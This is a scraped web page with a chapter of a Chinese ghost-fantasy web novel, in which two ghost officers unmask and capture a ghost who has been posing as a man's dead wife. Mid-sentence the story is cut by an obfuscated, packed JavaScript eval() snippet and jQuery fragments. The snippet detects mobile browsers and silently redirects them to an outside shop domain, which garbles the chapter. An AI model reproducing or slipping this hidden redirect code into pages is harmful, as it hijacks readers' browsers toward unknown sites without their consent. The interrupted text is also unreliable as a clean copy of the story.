文趣网 > 其他小说 > 冥冥 > 30. 家有鬼妻
    花园小区外,一个身穿旗袍,头顶大花的长发女子,探头探脑。

    女子无论装扮,还是举止,浑身充满可疑。可经过的人却仿若看不见她一般,若无其事地走开。

    有人拍拍女子的肩。女子蹲着身子,僵硬着脖子转头,五颜六色的脸上一双刷得黑漆漆的挺翘睫毛刷动两下。

    白脸俊男阴笑着说:“不去投胎,在这干嘛?”

    “啊——!!!”

    墙白的粉底上两团驼红瞬间失色,刻意吐小一圈的樱桃小嘴暴露伪装,张大嘴巴可以看到后槽牙。

    女子跑步的姿势雷同沙漠蜥蜴,一溜烟消失在远处的街道上。

    江南低头,一只学灰姑娘午夜乘上南瓜马车落下的水晶鞋,不过这只是带着艳俗的红色尖头高跟鞋。

    人字拖一脚踩下去,红鞋化作一股灰烟。

    江南思索刚才那是只什么鬼,伸手往裤兜里摸索捉鬼用的红本本。

    红本本是鬼差们人手一本的百鬼录。百鬼录上记载天地成立阴司起,至今所有类型的鬼,详细记述了每种鬼的抓捕和投胎方式。

    对鬼差来说,百鬼录的存在类似于一本工作指南。

    没摸到百鬼录,倒是摸出一支屏幕闪亮的手机。手机铃声响亮,给他设置这个铃声的某女鬼说是为了方便他及时听到声音,不会错过电话,其实悄悄躲在背后骂他耳背。

    再说,除了杜依,谁还会打电话给鬼差江南?

    江南接起电话,一如既往懒洋洋的声音。

    “喂。”

    “江南,你想害死我啊!”

    江南探出那逃走的女鬼不是什么厉害角色,捉她容易得很。

    跑就跑吧。

    眼前还有正事。

    江南一边进花园小区,往槐水苑走去,一边和杜依打电话。

    杜依那边传来窸窸窣窣的声音。

    “怎么,打不过啊?”

    “废话,人家吃了那么多条血鱼,我就一把破伞,还只能用一回。”

    黑伞伞尖聚集热量后确实威力不小,可以烫伤鬼的身体,可摩擦要些功夫,往往要提前准备。常常是杜依出其不意地使出一招后,忙于防备和逃跑,再没机会积蓄下一次攻击。

    江南这鬼没有眼色,阴阳怪气地说:“你怎么不也吃点呢?”

    杜依心里把江南骂了一百遍。

    吃?她敢吗?

    还想不想做人了她。

    杜依趴在草丛中,透过前面一排修得四四方方的小叶女贞缝隙往外观察,无脸的黑发女鬼正在寻找杜依。

    就在刚才,黑发女鬼似乎看出杜依的黑伞是一次性工具,绿色长臂交叉向杜依袭来。

    杜依左闪右闪,动作稍有差错,身体偏得慢了一些,手上抱着的礼物盒被女鬼长臂打到,打翻在地,月亮兔子玩偶滚落出来。

    杜依和黑发女鬼燃火的目光同时跟着兔子玩偶在地上滚了两圈,白兔子脸上沾上灰尘,灰蒙蒙的,好不可怜。

    黑发女鬼飘到兔子玩偶前,伸出手臂捡起玩偶。

    趁这时,杜依躲进旁边的绿化带里,用植被作掩护,给江南打电话。

    黑发女鬼双脚离地漂浮着,绿手指握住抱月亮的白色小兔子,寻找杜依的同时,念念有词。

    杜依听了一会儿才听清黑发女鬼念的是什么。

    她把手机贴在耳边,告诉江南:“她一直说把什么什么给她,我没听清是什么,要给她什么啊?”

    杜依不懂,江南却明白黑发女鬼要的是什么了。

    “野心还不小。”

    “江南你说什么?”

    江南说:“到了。”

    “喂,喂,你到哪了?”

    江南已经挂断电话。

    “给我,给我,拿给我。”

    声音向草丛靠近,黑发女鬼找到了杜依的位置。

    黑发女鬼披散的黑发深处,两朵跳跃的火焰,一朵是女鬼膨胀的贪欲,一朵是女鬼高涨的杀意。

    杜依紧贴草地,握紧手边的黑伞。

    轰——轰——轰——

    天降三枚蓝色火焰,砸在黑发女鬼脚前,燎动的火焰骇住黑发女鬼,她谨慎地往后退避。

    紧接着又是三枚,连绛三次,将黑发女鬼禁锢在一方由蓝色火焰画成的牢笼。

    火焰一齐升高,火势大增,炙烤得黑发女鬼惨叫着抱住自己。

    杜依从草丛里爬起来,在草地和蓝色火焰间,挺立一个白短袖,卡其色马裤,脚踩黑色人字拖的男人。

    男人凭手的高低控制火焰的大小,即便是杜依隔着一定的距离也能感受到火焰在皮肤上的温度。

    杜依跨过低矮的小叶女贞,撑起黑伞到江南身边。

    “你打算烧死她?”

    江南的手没有升高也不见降低。

    “不,那是地狱的工作。”

    “可你再不收手,她就要化灰了。”

    黑发女鬼承受不住来自鬼差的鬼火,痛苦地蹲下,发出哭泣似的声音。

    江南没有就地处罚黑发女鬼的打算,是为黑发女鬼觊觎不属于自己的东西,动了贪念,妄图抢夺而惩罚她。

    在鬼火持续的烤炙下,黑发女鬼丧失凌空的能力。

    两只脚软弱无力地落在地上,跌坐下来。

    原本青色的手臂开始褪色,像一片绿叶迅速凋零枯萎,暗黄结成褐色脆弱的叶片。

    已经是几近衰竭的情况下,黑发女鬼依然发咒般地念着什么。

    “救我,救我,救我,救我,救我……”

    不是人语,黑发女鬼的声音如同在一个吊挂的铜钟里四窜的风,海浪般地一波接着一波地起伏,冲撞回荡在耳畔。

    星空、高层建筑、树木,陷入这场低语的声波开始旋转。

    杜依捂住耳朵,扯江南的衣服让他回头看。

    正对花坛槐树的三十七栋楼,防盗门锁拧开的顺滑咔哒声,推门走出的刘孜受到召唤,循着声音而来。

    他浑浊的眼睛中,只看出不远处有什么在熊熊燃烧,蓝色的焰火燃到高处成青色,火中蜷伏着黑色的一团,他看不清。

    刘孜奋力地摇头,眨眼,那火中黑色的一团逐渐显露出清晰。

    “素琴。”

    在刘孜眼中,他本该在楼上卧室里睡觉的妻子黄素琴,不知何种原因被跪倒在一男一女面前,其中男人用蓝火围烧黄素琴,她痛苦地望向自己,求他救她。

    刘孜大叫着跑来。

    “住手,你们住手。”

    江南俯视火中的女鬼。

    “低估你了。”

    在极度虚弱下,还能用幻象蒙骗人,看来吃那么多血鱼的作用的确不小。

    江南对杜依说:“拦住他。”

    “怎么拦?”

    江南说:“随你,记得不要伤害他就行。”

    鬼伤生人,损阴德,造业障。杜依手上唯独一把黑伞,不管不顾地把伞打横,抵住失魂落魄跑来的刘孜。相比活人刘孜,杜依力大无比,轻轻松松能够制服他。偏江南又说不能伤害到他。

    杜依生怕自己一个用力过猛,把刘孜弱小的身板造成不可挽回的结果,任由刘孜如何向前,她用三分力,刚好把他抵住。刘孜退不了,也进不得。

    不能靠近的刘孜疯也似地怒喊:“素琴,放了素琴。”

    任由他如何威胁喊骂,哭嚎,男人始终不曾心慈手软,火焰不曾降下半分。眼睁睁看着妻子被人虐待,痛苦的呻/吟撕裂他的心扉,刘孜屈下膝盖,给那个残忍的男人求饶。

    “我求求你,放了我老婆,我求你。”

    和刘孜对峙,杜依还有方法,可刘孜跪下后又是求,又是磕头。刘孜的狼狈求饶的样子,让杜依想到不久前在饭桌上,这个羸弱的中年男人亲切地叫他夹菜,手足无措。

    “江南……”

    杜依呼唤江南,她不知道面对这样的情况应该怎么办。

    江南没有说话。

    杜依低垂目光,刘孜的头垂在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795713|209378||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    地上不起,消瘦的肩膀后背在哭声中不住耸动。

    抓鬼投胎本该是一件好事。尤其是抓害人的鬼。黑发女鬼害得刘家父女个个眼圈发黑,身体虚弱,破坏了他们正常的生活,甚至因为阳气不足,精气丧失,刘孜面临丧命的祸端。可痛哭垂地,匍匐不起的刘孜让杜依有种错觉,好像他们才是坏人。

    “刘叔叔。”

    刘孜听不见。

    “刘叔叔。”杜依又喊。

    她蹲下来,扶住刘孜的肩膀,让他把头抬起。

    “刘叔叔,你好好看看,那里面的究竟是不是你的妻子。”

    泪水蒙住眼睛,青火苗升天。

    困在里面苦苦挣扎的,不是素琴,又会是谁呢?

    刘孜不成声地说:“是,她是我的妻子黄素琴。”

    “是吗?她真的是黄素琴?你睁开眼睛,好好看看,火里面的,究竟是人还是鬼。”

    杜依说:“要真的是人,为什么会被火烧还不伤不死?如果不是鬼,为什么十几年过去,你老了,文雁长大了,唯独她没有丝毫变化,还是年轻时候的样子。”

    “素琴,求你们放了素琴,放了她。”

    “刘叔叔,不伤不老不死,除了鬼,还会是什么?”

    “素琴,素琴……”

    刘孜哀唤黄素琴的名字,对杜依的话置若罔闻,他坚信所见即真实,被女鬼的幻象彻底蒙去能够辨清真相的双眼和理智。

    杜依看向江南,他降下控制鬼火的手。窜天的青火苗骤然下落,熄灭于一瞬之间。围困黑发女鬼的火牢消失得无影无踪,在地面留下一圈黑色的火痕。

    刘孜推开挡在前面的杜依。越过江南,刘孜奔向地上蜷缩的妻子。

    杜依要拦回刘孜,被江南拉住。

    “不用管了?”

    “你等着看。”

    鬼火烧掉了黑发女鬼部分头发,袍子下摆和袖子,布料残留将熄未熄的火星。背对着的黑发女鬼厉声吓住朝她奔来的刘孜。

    “别过来。”

    刘孜被刺耳的声音惊住,果真停下。

    “素琴。”

    刚才那个声音实在是陌生得可怕,像陷入绝境的野兽,粗旷沙哑,一点不像黄素琴。

    “你是素琴吗?”

    刘孜不确定了,伸出手,缓步接近地上的那人。

    黑发女鬼用把自己抱住的姿势蹲在火痕内,埋下头,被火燎后杂草般的头发遮掩住,浑身颤抖。

    “别过来……别过来……”

    一只有温度的手掌放在她的背上,黑发女鬼猛然回头,漆黑一片中燃起两盏火似的窟窿,把刘孜吓得瘫软在地。

    刘孜惊叫着后退,双腿不住地后瞪。

    此时,江南说:“人都只相信自己眼睛所看见的。你说再多没有用,非要他亲眼所见。”

    江南的鬼火收得正是时候,燃尽了黑发女鬼的最后一丝力气,让她勉力维持的幻象打破。没有幻象的支持,原形毕露。刘孜看见的不再是相伴多年的妻子黄素琴,而是形容可怖,发丝枯槁的女鬼而已。

    刘孜恐惧的表情和退后的动作激动了黑发女鬼。

    杜依觉得,今晚对于刘孜来说,未免刺激伤心过度。

    女鬼发出一声鸟似的鸣叫,意图飞身逃离。绳索飞出,缠绕女鬼的脚踝,将女鬼从半空中狠狠拽下,正正砸在刘孜的面前。

    黑发女鬼抬头,刘孜惊吓倒吸一口冷气,女鬼的头慢慢落下。

    “走吧。”收紧绳索,江南说。

    杜依点头。

    江南、杜依和坠落的黑发女鬼一齐消失在夜晚的槐水苑花园里。

    刘孜一人瘫坐在地上。偶尔有回来或出行的人经过他,见他满脸呆滞,死死地盯着脚前的一块方砖,不知道发生了什么事。

    问他,他也不说。

    种槐树的花坛传来虫鸣。毕竟还是夏天的末尾。夏天还没有结束。

    大约一个小时后,刘孜爬起来,失魂落魄地回家了。